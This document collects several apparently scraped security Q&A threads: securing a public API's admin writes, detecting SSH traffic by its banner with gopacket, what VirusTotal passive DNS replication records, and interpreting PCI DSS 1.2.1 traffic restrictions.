The API / database has no private information. All information is available and none of it is PII etc. It wouldn't be a problem for me if someone read all the data.
Currently the API is a Sinatra app and it does have write methods so I can add data, protected by HTTP Auth.
It will be hosted on Heroku and served via HTTPS only.
The data will not change frequently.
The data will be backed up on a regular basis so even a destructive break-in wouldn't be the worst thing in the world.

My questions:

Are there specific areas I should read up about security-wise in this situation?
Would moving the API write methods (and admin) to a completely different app and then simply syncing the database handle most security issues?
Is HTTP Auth sufficiently secure with a long username and password or is there a better method than HTTP Auth for authorizing myself in the admin?

(Note: I have looked for related questions and found this: Is BASIC-Auth secure if done over HTTPS? but it's not really clear if there's a better option or method that doesn't open up even more security implications)

Any other tips or thoughts?

I'm a bit out of my element currently and I want to get this project shipped, rather than lingering too long. I'm sure there's no replacement for proper application security training but I'm hoping because of the public nature of the data, I can ignore a majority of security situations to start and spend more time learning about them later.

Cheers,
Anders

Essentially you just need to run through the standard OWASP Top 10 and focus on getting the access control stuff right.

As far as authentication goes, basic auth should be avoided for a number of reasons. It's ugly, insecure, and isn't universally supported. The standard model is to provide users with a randomly generated API key that is separate from their normal login credentials. This allows for reasonable authentication without the risk of having credentials stolen. Regardless, I still recommend HTTPS across the entire API, and it looks like you're already doing this.


Not able to find "SSH-" string in payload [Port Independent Protocol Detection]? I was reading the code from ndpi and found this line -

if (packet->payload_packet_len > 7 && packet->payload_packet_len < 100
    && memcmp(packet->payload, "SSH-", 4) == 0) {
    ....
}

I wanted to do the same thing using the gopacket library (packet sniffing library in golang) but the payload seems to be encrypted, which means it is not able to find "SSH-" string. Being a beginner in IS, I'm not sure what is happening -

applicationLayer := packet.ApplicationLayer()
if applicationLayer != nil {
    fmt.Println("Application layer/Payload found.")
    fmt.Printf("%s\n", applicationLayer.Payload())
    fmt.Println()
    // Search for a string inside the payload
    if strings.Contains(string(applicationLayer.Payload()), "SSH-") {

         fmt.Println("SSH found!")
         fmt.Printf("%s\n", applicationLayer.Payload())
    }
}

Output -

Application layer/Payload found.
?}"o??>A??L??j#??U?|X?:c?K??^1L?)?)???I"

Also I'm using a BPF filter with port set to 22, and I'm also sending traffic through my test server.

So my question is where I'm going wrong? My final aim is to detect some protocols independent of the port. How should I be approaching this problem?

The first packet from both client and server is the only payload that contains SSH-. Which is when both the client and the server are attempting to determine the cryptographic parameters.

If you want to parse SSH you'll need to fully understand the SSH protocol.  Even after parsing the handshake you still won't be able to decrypt the application layer payloads.  Unless you dump the keys in some way.  I know PuTTY allows you to debug SSH sessions in that way.  So it depends on what your goal is for sniffing.

Programs like Wireshark label protocols based off of port numbers.  If you setup an SSH daemon on port 4444, and SSH to it; Wireshark will likely just say that it's TCP.


What is Passive DNS Replication? I use Virus Total for Malware Research, and I saw that it has a field called: "Passive DNS Replication", but I do not exactly understand what that means.I searched in VT blog, and they said that it is like an historical view of which domains names resolved to a given IP address in a specific moment. What I am not sure is that if for example "www.domainname.com" resolved to 1.2.3.4 in the date 2019-04-20, does it means that in that specific date, that IP hosted that domain name? I mean, it could not be that mentioned IP resolved to that domain name in a date before "2019-04-20". I am referring to Virus Total info, if someone can explain me if Im wrong I would appreciate it.

... does it means that in that specific date, that IP hosted that domain name?

It just means that a DNS lookup for the domain returned the given address.

It does not mean that there was some HTTP server at this host which was configured to respond to this domain name or that other services at the IP address where aware that they were reached through this domain name.

  ... it could not be that mentioned IP resolved to that domain name in a date before "2019-04-20"

First, this is not about an IP address resolving to a domain name but a domain name resolving to an IP address. There can actually be multiple domain names resolving to a single IP address but also one domain name resolving to multiple IP addresses. Resolving from IP to a domain name would be DNS PTR records - but this is not what this feature is about.

Also, passive DNS replication is based on watching DNS traffic. To cite from the blog article at VirusTotal: "... technology which constructs zone replicas without cooperation from zone administrators, based on captured name server responses ...". This means that they can only replicate DNS configuration for domains which were actively queried and where the queries were seen by the DNS servers or traffic nodes they control. Thus it can still be that the domain had this IP address before, only that no access to the domain was seen before and thus no previous configuration could be determined.


PCI DSS 1.2.1 Restrict inbound and outbound traffic to that which is necessary for the cardholder data environment A strict interpretation of that rule would seem to prohibit any non-payment related web browsing by PCs that are used to transmit card details to a payment processor, and perhaps also prohibit web browsing by any PCs on the same LAN as a card processing PC.

However, it appears that rule has been interpreted by others more broadly.

  In requirement 1.2, we are ensuring that the firewall configuration is
  designed to be least allowed – allowing the least number of ports
  necessary for business to occur. This does not require you to drop
  everything, you must justify each port required and implement only
  those required to do business. An untrusted network is one which your
  firm does not control, such as the Internet or a partner network.

source

  Specific to PCI DSS 1.2.1, it says that your organization is only
  allowed to use the protocols, ports, and services that are required
  for the operation of your business.

source

Can anyone provide confirmation or clarification?

Originally, PCI-DSS was meant to enforce a separation of cardholder data processing and the rest of the business. In that context, no, there should be no browsing in that environment.

Since the initial release, there has been a lot of abstraction of what a "cardholder data processing environment" actually is with a lot of hybrid environments. So now, the processing environment and the business environment are co-mingled. In this context, one would need to interpret the standard more broadly in the way that you described.

So, in the end, it depends on your environment, your scope, your boundaries, and your QSA's interpretation of all three.